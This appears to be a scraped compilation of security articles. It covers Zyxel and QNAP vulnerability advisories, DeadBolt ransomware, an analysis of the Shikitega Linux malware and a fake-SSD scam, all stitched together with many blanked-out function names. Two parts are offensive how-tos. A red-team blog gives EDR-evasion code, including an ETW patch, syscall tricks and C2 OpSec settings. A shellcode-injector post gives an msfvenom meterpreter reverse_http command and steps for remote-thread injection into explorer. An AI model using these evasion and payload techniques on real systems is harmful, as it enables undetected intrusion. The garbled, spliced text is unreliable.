  • CVE-2022-0910: An authentication bypass vulnerability caused by the lack of a proper access control mechanism has been found in the CGI program of some firewall versions. The flaw could allow an attacker to downgrade from two-factor authentication to one-factor authentication via an IPsec VPN client.

Networking device maker Zyxel is warning customers today of a new critical remote code execution (RCE) vulnerability impacting three models of its Networked Attached Storage (NAS) products.

The vulnerability is tracked as CVE-2022-34747 and has received a CVSS v3 severity score of 9.8, rated critical, but not many details have been disclosed.

“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet,” explains the advisory.

Security researcher Shaposhnikov Ilya discovered the vulnerability on June 2022. As a result, Zyxel gradually released security updates for the impacted models over the following months.

The NAS devices vulnerable to this flaw are NAS326, NAS540, and NAS542, all still within their active support period.

The vulnerable firmware versions are V5.21(AAZF.11)C0 and earlier for NAS326, V5.21(AATB.8)C0 and earlier for NAS540, and V5.21(AATB.8)C0 or older for NAS542.

The vendor has already released security updates for the impacted devices in the form of firmware updates, with links to the downloads in the security advisory.

Alternatively, you can visit Zyxel’s official download portal, enter your device model, and download the latest firmware update listed in the results.

Remote code execution flaws allow many different attacks, including bypassing the need for user authentication, elevation of privilege, or any other limiting prerequisite.

The vulnerability could be abused to steal data, delete data, or deploy ransomware on Internet-exposed NAS devices.

While all scenarios are dire, ransomware is the most common, as it gives the threat actors the best way to monetize a successful attack.

Only yesterday, we reported that QNAP patched a zero-day vulnerability over the weekend that was used in a new wave of DeadBolt ransomware attacks.

In February, the same group also targeted ASUSTOR devices by leveraging an exploit for a previously unknown flaw. 

Thus, DeadBolt is competent enough to find undocumented security gaps, let alone exploit known vulnerabilities.

Other ransomware gangs actively targeting NAS devices are Checkmate and eChoraix, both very active in 2022.

QNAP is warning customers of ongoing DeadBolt ransomware attacks that started on Saturday by exploiting a zero-day vulnerability in Photo Station.

The company has patched the security flaw but attacks continue today.

«QNAP® Systems, Inc. today detected the security threat DEADBOLT leveraging exploitation of Photo Station vulnerability to encrypt QNAP NAS that are directly connected to the Internet,» explains the security notice.

The attacks were widespread, with the ID Ransomware service seeing a surge in submissions on Saturday and Sunday.

A surge in DeadBolt submissions to ID Ransomware
Source: BleepingComputer

QNAP releases patches for a zero-day flaw

QNAP released Photo Station security updates 12 hours after DeadBolt began using the zero-day vulnerability in attacks, urging NAS customers to immediately update Photo Station to the newest version.

The following security updates fix the vulnerability:

  • QTS 5.0.1: Photo Station 6.1.2 and later
  • QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
  • QTS 4.3.6: Photo Station 5.7.18 and later
  • QTS 4.3.3: Photo Station 5.4.15 and later
  • QTS 4.2.6: Photo Station 5.2.14 and later

Alternatively, QNAP suggests users replace Photo Station with QuMagie, a safer photo storage management tool for QNAP NAS devices.

“We strongly urge that their QNAP NAS should not be directly connected to the internet. We recommend users to make use of the myQNAPcloud Link feature provided by QNAP, or enable the VPN service.” - QNAP.

Applying the security updates will prevent the DeadBolt ransomware and other threat actors from exploiting the vulnerability and encrypting devices. However, NAS devices should never be publicly exposed to the Internet and instead placed behind a firewall.

QNAP customers can find detailed instructions on applying the available updates and setting up myQNAPcloud in the security advisory.

Finally, it is recommended to use strong passwords on all NAS user accounts and take regular snapshots to prevent data loss in the case of attacks.

DeadBolt: the NAS ransomware bane

The DeadBolt ransomware gang has been targeting NAS devices since January 2022, using an alleged zero-day vulnerability on Internet-exposed NAS devices.

The ransomware operation conducted further attacks on QNAP devices in May and June 2022.

DeadBolt ransom notes
Source: BleepingComputer

Earlier in February, DeadBolt began targeting ASUSTOR NAS devices using a zero-day vulnerability they attempted to sell to the vendor for 7.5 Bitcoin.

In most of these attacks, DeadBolt demanded a payment of just over a thousand USD from impacted users in exchange for a working decryptor.

However, other NAS ransomware groups demand more significant amounts from their victims.

The Checkmate ransomware targeted QNAP NAS products in July, demanding victims pay $15,000.

New Linux malware evades detection using multi-stage deployment

New Linux malware evades detection using multi-stage deployment

original text by Bill Toulas

A new stealthy Linux malware known as Shikitega has been discovered infecting computers and IoT devices with additional payloads.

The malware exploits vulnerabilities to elevate its privileges, adds persistence on the host via crontab, and eventually launches a cryptocurrency miner on infected devices.

Shikitega is quite stealthy, managing to evade anti-virus detection using a polymorphic encoder that makes static, signature-based detection impossible.

An intricate infection chain

While the initial infection method is not known at this time, researchers at AT&T who discovered Shikitega say the malware uses a multi-step infection chain where each layer delivers only a few hundred bytes, activating a simple module and then moving to the next one.

«Shiketega malware is delivered in a sophisticated way, it uses a polymorphic encoder, and it gradually delivers its payload where each step reveals only part of the total payload.,» explains AT&T’s report.

The infection begins with a 370 bytes ELF file, which is the dropper containing encoded shellcode.

The ELF file that initiates the infection chain (AT&T)

The encoding is performed using the polymorphic XOS additive feedback encoder ‘Shikata Ga Nai,’ previously analyzed by Mandiant.

“Using the encoder, the malware runs through several decode loops, where one loop decodes the next layer until the final shellcode payload is decoded and executed,” continues the report.

“The encoder stud is generated based on dynamic instruction substitution and dynamic block ordering. In addition, registers are selected dynamically.”

Shikata Ga Nai decryption loops (AT&T)

After the decryption is completed, the shellcode is executed to contact the malware’s command and control servers (C2) and receive additional shellcode (commands) stored and run directly from memory.

One of these commands downloads and executes ‘Mettle,’ a small and portable Metasploit Meterpreter payload that gives the attackers further remote control and code execution options on the host.

Downloaded shellcode fetching Mettle (AT&T)

Mettle fetches yet a smaller ELF file, which exploits CVE-2021-4034 (aka PwnKit) and CVE-2021-3493 to elevate privileges and download the final stage payload, a cryptocurrency miner, as root.

Exploiting PwnKit to elevate privileges to root (AT&T)

Persistence for the crypto miner is achieved by downloading five shell scripts that add four cronjobs, two for the root user and two for the current user.

The five shell scripts and their functions (AT&T)

The crontabs are an effective persistence mechanism, so all downloaded files are wiped to reduce the likelihood of the malware being discovered.

The crypto miner is XMRig version 6.17.0, focusing on mining the anonymity-focused and hard-to-trace Monero.

Shikitega infection chain overview

To further reduce the chances of raising alarms on network security products, the threat actors behind Shikitega use legitimate cloud hosting services to host their command and control infrastructure.

This choice costs more money and puts the operators at risk of being traced and identified by law enforcement but offers better stealthiness in the compromised systems.

The AT&T team reports a sharp rise in Linux malware this year, advising system admins to apply the available security updates, use EDR on all endpoints, and take regular backups of most important data.

For now, Shikitega appears focused on Monero mining, but the threat actors may decide that other, more potent payloads can be more profitable in the long run.

A blueprint for evading industry leading endpoint protection in 2022

original text by vivami

About two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.

In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can.

In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection and response capabilities (EDR) on enterprise endpoints. Commercial command and control frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily signatured by the endpoint protection industry and in order to execute that implant, the signatures (both static and behavioural) of that shellcode need to be obfuscated.

In this post, I will cover the following techniques, with the ultimate goal of executing malicious shellcode, also known as a (shellcode) loader:

1. Shellcode encryption

Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of external indicators of encryption activities performed by the loader. AES encryption to obfuscate static signatures of the shellcode leaves traces in the import address table of the binary, which increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions (e.g. 

 etc.) in earlier versions of this loader.

Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.

2. Reducing entropy

Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator of obfuscated parts of code in the binary.

There are several ways of reducing the entropy of our binary, two simple ones that work are:

  1. Adding low entropy resources to the binary, such as (low entropy) images.
  2. Adding strings, such as the English dictionary or some of 
    "strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll"

A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.

3. Escaping the (local) AV sandbox

Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply calculating a large prime number is my personal favourite. You can go a bit further and deterministically calculate a prime number and use that number as (a part of) the key to your encrypted shellcode.

4. Import table obfuscation

You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (import address table). This table consists of an overview of all the Windows APIs that your binary imports from other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs can be found here. Typically, these are 

 etc. Running 
dumpbin /exports &lt;binary.exe&gt;
 will list all the imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.

We add the function signature of the WINAPI call, get the address of the WINAPI in 

 and then create a function pointer to that address:

typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;

unsigned char sVirtualProtect&#91;] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32&#91;] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &amp;oldProt);

Obfuscating strings using a character array cuts the string up in smaller pieces making them more difficult to extract from a binary.

The call will still be to an 

 WINAPI, and will not bypass any hooks in WINAPIs in 
, but is purely to remove suspicious functions from the IAT.

5. Disabling Event Tracing for Windows (ETW)

Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in the kernel, mainly to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of 

 (ETW deep dive and attack vectors). Since 
 is a DLL loaded into the process of our binary, we have full control over this DLL and therefore the ETW functionality. There are quite a few different bypasses for ETW in userspace, but the most common one is patching the function 
 which is called to write/log ETW events. We fetch its address in 
, and replace its first instructions with instructions to return 0 (

void disableETW(void) {
    // return 0
    unsigned char patch&#91;] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
    HANDLE hCurrentProc = GetCurrentProcess();
    unsigned char sEtwEventWrite&#91;] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, PAGE_READWRITE, &amp;oldprotect);
    memcpy(pEventWrite, patch, size / sizeof(patch&#91;0]));
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, oldprotect, &amp;oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);

I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.

6. Evading common malicious API call patterns

Most behavioural detection is ultimately based on detecting malicious patterns. One of these patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily monitored. However, these calls are also used for benign activity (the 

 pattern in combination with a memory allocation and write of ~250KB of shellcode) and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak wrote a great blog post leveraging delays and smaller chunks of allocating and writing memory to blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of a typical shellcode loader:

  1. Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as 
    . Then write the shellcode in a similar chunk size to the allocated memory pages.
  2. Introduce delays between every of the above mentioned operations. This will increase the time required to execute the shellcode, but will also make the consecutive execution pattern stand out much less.

One catch with this technique is to make sure you find a memory location that can fit your entire shellcode in consecutive memory pages. Filip’s DripLoader implements this concept.

The loader I’ve built does not inject the shellcode into another process but instead starts the shellcode in a thread in its own process space using 

. An unknown process (our binary will de facto have low prevalence) into other processes (typically a Windows native ones) is suspicious activity that stands out (recommended read “Fork&Run – you’re history”). It is much easier to blend into the noise of benign thread executions and memory operations within a process when we run the shellcode within a thread in the loader’s process space. The downside however is that any crashing post-exploitation modules will also crash the process of the loader and therefore the implant. Persistence techniques as well as running stable and reliable BOFs can help to overcome this downside.

7. Direct system calls and evading “mark of the syscall”

The loader leverages direct system calls for bypassing any hooks put in 

 by the EDRs. I want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of this post and a lot of great posts have been written about it (e.g. Outflank).

In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of calling the 

 we call its kernel equivalent 
 defined in the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls to (in this example) 
 defined in 

In order to call a system call directly, we fetch the syscall ID of the system call we want to call from 

, use the function signature to push the correct order and types of function arguments to the stack, and call the 
syscall &lt;id&gt;
 instruction. There are several tools that arrange all this for us, SysWhispers2 and SysWhisper3 are two great examples. From an evasion perspective, there are two issues with calling direct system calls:

  1. Your binary ends up with having the 
     instruction, which is easy to statically detect (a.k.a “mark of the syscall”, more in “SysWhispers is dead, long live SysWhispers!”).
  2. Unlike benign use of a system call that is called through its 
     equivalent, the return address of the system call does not point to 
    . Instead, it points to our code from where we called the syscall, which resides in memory regions outside of 
    . This is an indicator of a system call that is not called through 
    , which is suspicious.

To overcome these issues we can do the following:

  1. Implement an egg hunter mechanism. Replace the 
     instruction with the 
     (some random unique identifiable pattern) and at runtime, search for this 
     in memory and replace it with the 
     instruction using the 
     WINAPI calls. Thereafter, we can use direct system calls normally. This technique has been implemented by klezVirus.
  2. Instead of calling the 
     instruction from our own code, we search for the 
     instruction in 
     and jump to that memory address once we’ve prepared the stack to call the system call. This will result in an return address in RIP that points to 
     memory regions.

Both techniques are part of SysWhisper3.

8. Removing hooks in 

Another nice technique to evade EDR hooks in 

 is to overwrite the loaded 
 that is loaded by default (and hooked by the EDR) with a fresh copy from 
 is the first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded shortly after, which puts all the hooks in place in the loaded 
 before our own code will execute. If our code loads a fresh copy of 
 in memory afterwards, those EDR hooks will be overwritten. RefleXXion is a C++ library that implements the research done for this technique by MDSec. RelfeXXion uses direct system calls 
 to get a handle to a clean 
 (registry path with previously loaded DLLs). It then overwrites the 
 section of the loaded 
, which flushes out the EDR hooks.

I recommend to use adjust the RefleXXion library to use the same trick as described above in section 7.

9. Spoofing the thread call stack

The next two sections cover two techniques that provide evasions against detecting our shellcode in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for memory scanning techniques from the EDR. The first of the two evasions described in this post is spoofing the thread call stack.

When the implant is sleeping, its thread return address is pointing to our shellcode residing in memory. By examining the return addresses of threads in a suspicious process, our implant shellcode can be easily identified. In order to avoid this, want to break this connection between the return address and shellcode. We can do so by hooking the 

 function. When that hook is called (by the implant/beacon shellcode), we overwrite the return address with 
 and call the original 
 function. When 
 returns, we put the original return address back in place so the thread returns to the correct address to continue execution. Mariusz Banach has implemented this technique in his ThreadStackSpoofer project. This repo provides much more detail on the technique and also outlines some caveats.

We can observe the result of spoofing the thread call stack in the two screenshots below, where the non-spoofed call stack points to non-backed memory locations and a spoofed thread call stack points to our hooked Sleep (

) function and “cuts off” the rest of the call stack.

Default beacon thread call stack.
Spoofed beacon thread call stack.

10. In-memory encryption of beacon

The other evasion for in-memory detection is to encrypt the implant’s executable memory regions while sleeping. Using the same sleep hook as described in the section above, we can obtain the shellcode memory segment by examining the caller address (the beacon code that calls 

 and therefore our 
 hook). If the caller memory region is 
 and roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and 
 is called. Then 
 returns, it decrypts the memory segment and returns to it.

Another technique is to register a Vectored Exception Handler (VEH) that handles 

 violation exceptions, decrypts the memory segments and changes the permissions to 
. Then just before sleeping, mark the memory segments as 
, so that when 
 returns, it throws a memory access violation exception. Because we registered a VEH, the exception is handled within that thread context and can be resumed at the exact same location the exception was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant can continue execution. This technique prevents a detectible 
 hook being in place when the implant is sleeping.

Mariusz Banach has also implemented this technique in ShellcodeFluctuation.

11. A custom reflective loader

The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed in memory. Many C2 frameworks leverage Stephen Fewer’s ReflectiveLoader. There are many well written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is also well documented, but in short a Reflective Loader does the following:

  1. Resolve addresses to necessary 
     WINAPIs required for loading the DLL (e.g. 
  2. Write the DLL and its sections to memory
  3. Build up the DLL import table, so the DLL can call 
  4. Load any additional library’s and resolve their respective imported function addresses
  5. Call the DLL entrypoint

Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques. Bobby Cooke and Santiago P built a stealthy loader (BokuLoader) using Cobalt Strike’s UDRL which I’ve used in my loader. BokuLoader implements several evasion techniques:

  • Limit calls to 
     (commonly EDR hooked WINAPI call to resolve a function address, as we do in section 4)
  • AMSI & ETW bypasses
  • Use only direct system calls
  • Use only 
    , and no 
    ) permissions
  • Removes beacon DLL headers from memory

Make sure to uncomment the two defines to leverage direct system calls via HellsGate & HalosGate and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and are not injecting the loader into another process).

12. OpSec configurations in your Malleable profile

In your Malleable C2 profile, make sure the following options are configured, which limit the use of 

 marked memory (suspicious and easily detected) and clean up the shellcode after beacon has started.

    set startrwx        "false";
    set userwx          "false";
    set cleanup         "true";
    set stomppe         "true";
    set obfuscate       "true";
    set sleep_mask      "true";
    set smartinject     "true";


Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with SentinelOne lead the endpoint protection industry.

CrowdStrike Falcon with 0 alerts.
Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.

Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the red team operator choses next, it can still be “game over” for the implant. In general, either run BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting the EDR hooks patches back in place in our 

 hook to avoid detection of unhooking, as well as removing the ETW/AMSI patches.

It’s a cat and mouse game, and the cat is undoubtedly getting better.

Walmart Sells Fake 30TB Hard Drive That’s Actually Two Small SD Cards in a Trench Coat

Walmart Sells Fake 30TB Hard Drive That’s Actually Two Small SD Cards in a Trench Coat

original text by Joseph Cox

A cybersecurity researcher bought the same item from AliExpress and took it apart. Walmart removed the hard drive after Motherboard contacted the company.

Until Monday, Walmart shoppers could grab an incredible deal: a massive solid state hard drive (SSD) for the incredible price of $17.99. Often, similar drives go for much more, depending on their size. Generally, a TB of storage on an SSD can cost between $50 to $100.

Here’s the Walmart ad:

Ray, a cybersecurity researcher, who saw a similar item on online retailer AliExpress, knew the offer was too good to be true. He bought the drive, suspecting it was a scam, and took it apart to find out what exactly was happening here. Sure enough, he found what amounted to a different item cosplaying as a big SSD. Inside were two small memory cards and the item had been programmed in such a way so as to appear it had 30TB of storage when plugged into a computer.

“I knew going in it would be a scam but I thought we might use it as an educational opportunity,” the cybersecurity researcher who goes by the name Ray, who tweeted his findings last week, told Motherboard in an online chat. “My son and I worked on it together.”

After Motherboard contacted Walmart about the listing on its own site on Friday, the company removed the item from its digital shelves on Monday.

Ray’s finding highlights something that many consumers may be unaware of: that Walmart, much like Amazon, runs an online marketplace that sells many, many products from third party sellers and not just those found on Walmart’s physical shelves, opening itself up to reputation, quality, and content moderation issues. 

“Thanks for reaching out and bringing this to our attention,” Robyn Babbitt, director of corporate communications at Walmart, told Motherboard in an email. “Walmart has a robust trust and safety program, which actively works to protect our customers and help ensure items are authentic. After reviewing this item, it has been removed from our site.”

Sign up for Motherboard’s daily newsletter for a regular dose of our original reporting, plus behind-the-scenes content about our biggest stories.

After using a razor blade to open up the item’s casing, instead of an SSD Ray found a board with two glued down SD cards. But when plugged in to a Windows machine, the computer reported detecting two 15TB drives. That is unrealistic, to say the least: although SD cards can reach into the terabytes, they are typically much more expensive than what this drive costs. Ray believes the scammers modified the firmware that makes the device misreport its storage size

As Ray tweeted out his findings, another user, SM4Tech, found that the drive was available on Walmart. Motherboard then contacted Walmart for comment.

Ray wasn’t the only person who found the harddrive suspicious, judging by reviews left on the item on Walmart’s website.

“DO NOT BUY THIS—it is a scam,” the title of one review, left by someone calling themselves William, reads. “Walmart should get smarter than to sell products like this. I thought I was buying a 8 terabyte SSD drive, for $28, and this piece of garbage does not work, in any way, shape or form. This product is a scam, and Walmart should be ashamed of itself to sell them.”

“Don’t buy it,” another review reads. “The product is not what there [sic] saying it is.”

Other reviewers have given the item a 5 star rating, although it’s not clear if that is actually the manufacturers dressing up as someone else, much like the hard drive they are selling.

Shell Code Injector with AES Encryption — EDR Bypass

Shell Code Injector with AES Encryption - EDR Bypass

original text by San3ncrypt3d

I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

* Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects